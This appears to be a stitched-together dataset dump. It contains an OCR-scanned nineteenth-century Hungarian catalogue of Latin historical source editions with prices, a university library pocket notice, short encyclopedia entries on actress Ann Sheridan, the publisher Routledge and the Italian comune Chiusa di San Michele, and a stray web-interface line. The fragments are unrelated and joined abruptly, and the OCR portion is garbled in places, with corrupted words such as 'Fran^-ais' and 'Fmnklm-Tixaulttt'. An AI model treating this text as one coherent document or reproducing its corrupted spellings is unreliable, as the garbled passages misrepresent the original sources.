1625. Volumen primum. — 3 H.
Actes et Documents pour servir a l'histoire de l'alliance de George
Rákóczy Prince de Transylvanie avec les Fran^-ais et le Suedois dans la
guerre de trente ans. Publiés par Alexandre Szilágyi. Volumen unicuni.
— 3 fl. GO kr.
Archivum Rakoczianum. Acta extera históriám Principis Francisci II.
Rákóczi illustrantia e Tabulario Regio Londinensi. 1703—1712. Edidit
Ernestus Simonyi. Voluruina tria. — 6 fl.
Acta Extera históriám Hungáriái tempore Regum stirpis Andegaviensis
illustrantia. 1268 — 1426. Edidit Gustavus Wenzel. Volumina tria. —
12 fl. 15 kr.
Acta Extera históriám Hungáriái tempore Regis Mathise a Hunyad
illustrantia. 1458 — 1490. Ediderunt Joannes Nagy et Albertus L. B-
Nyáry. Volumina quatuor. — 8 fl.
Acta Comitialia Regni Hungáriáé. 1526 — 1 581. Edidit VilhelmusFraknói.
Volumina I— VI. — 22 fl.
Acta Comitialia Regni Transylvaniae. 1540 — 1607. Edidit Alexander
Szilágyi. Volumina I — V. — 15 fl.
Epistolae dipl. Papae Pauli III. et Card. Alexandri Farnensis ad res Hun-
garicas pertinentes (1335 — 1349). Edidit Leop. óváry. — 2 fl.
Nicolai Oláh (Ludovici II. Regis Hungáriái et Mariae Regináé a secretis.
Ferdinandi I. cancellarii etc.) Codex epistolaris 1526 — 1538. Rec. dr. Arn.
Ipolyi. Volumen unicum. — 3 fl.
Principis Francisci n. Rákóczi confessiones et aspirationes principis
christiani. E Codice BibliothecaB nationalis Parisiensis. Volumen uni"
cum. — 3 fl.
Codex dipl. Hungaricus Andegavensis. Edidit E. Nagy. Vol. primum. —
3 fl. 60 kr.
G. Fejér Codex diplom. Hungáriáé. Tabula chronologica tomos, volumina
et paginas indicans, a quibus diplomata certorum annorum incipiunt.
Ed. Férd. Knauz. — 50 kr.
Index alphab. Codicia diplomatici Hungária* per Georg. Fejér e. Jussu
Academia: Scient. Hungarica? conc. Maur. Czinár. Volumen unicum.
— 2 fl.
Dr. I. Érdy De tabulis ceratis in Transylvania repertis. Insunt VI. tabuira
lithogr. — 50 kr.
Fmnklm-Tixaulttt nyomdája.
Z Torma, Károly
513I Dacia régiség- és felirattani
T6 irodalmához
PLEASE DO NOT REMOVE
CARDS OR SLIPS FROM THIS POCKET
UNIVERSITY OF TORONTO LIBRARY
|
Ann Sheridan (Clara Lou Sheridan; February 21, 1915 – January 21, 1967) was an American actress. She worked regularly from 1934 to her death in 1967, first in movie and later in television. Notable roles include Angels With Dirty Faces (1938), The Man Who Came to Dinner (1942), Kings Row (1942) and I Was a Male War Bride (1949).
Sheridan was born Clara Lou Sheridan on February 21, 1915 in Denton, Texas. She studied at the University of North Texas.
Sheridan was married to Edward Norris from 1936 until they divorced in 1939. Then she was married to George Brent from 1942 until they divorced in 1943. Then she was married to Scott McKay from 1966 until her death in 1967. She had one son, Richard that she gave up for adoption, but later located him when she was in poor health. The father of Richard is not known.
Sheridan died on January 21, 1967 in Los Angeles, California from esophageal cancer and liver cancer, aged 51. She is buried at the Hollywood Forever Cemetery.
References
Other websites
Interview with Ann Sheridan biographer
Photographs and literature
1915 births
1967 deaths
Deaths from esophageal cancer
Deaths from liver cancer
American silent movie actors
American movie actors
American television actors
American radio actors
American stage actors
Actors from Texas
People from Denton, Texas |
Routledge is a British publisher. It has changed names and owners many times since it was first formed by George Routledge (1812–1888) in 1836. The firm continued to grow until 1902 when it almost became bankrupt. However, it managed to recover after refinancing and began to buy up and merge with other publishing companies. From 1912 onwards, it increasingly focuses on academic publishing. It soon became well known for its books in humanities and social sciences. Taylor & Francis bought Routledge in 1998.
Publishing companies of the United Kingdom |
Chiusa di San Michele is a comune in the Metropolitan City of Turin in the Italian region of Piedmont.
Settlements in Piedmont |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.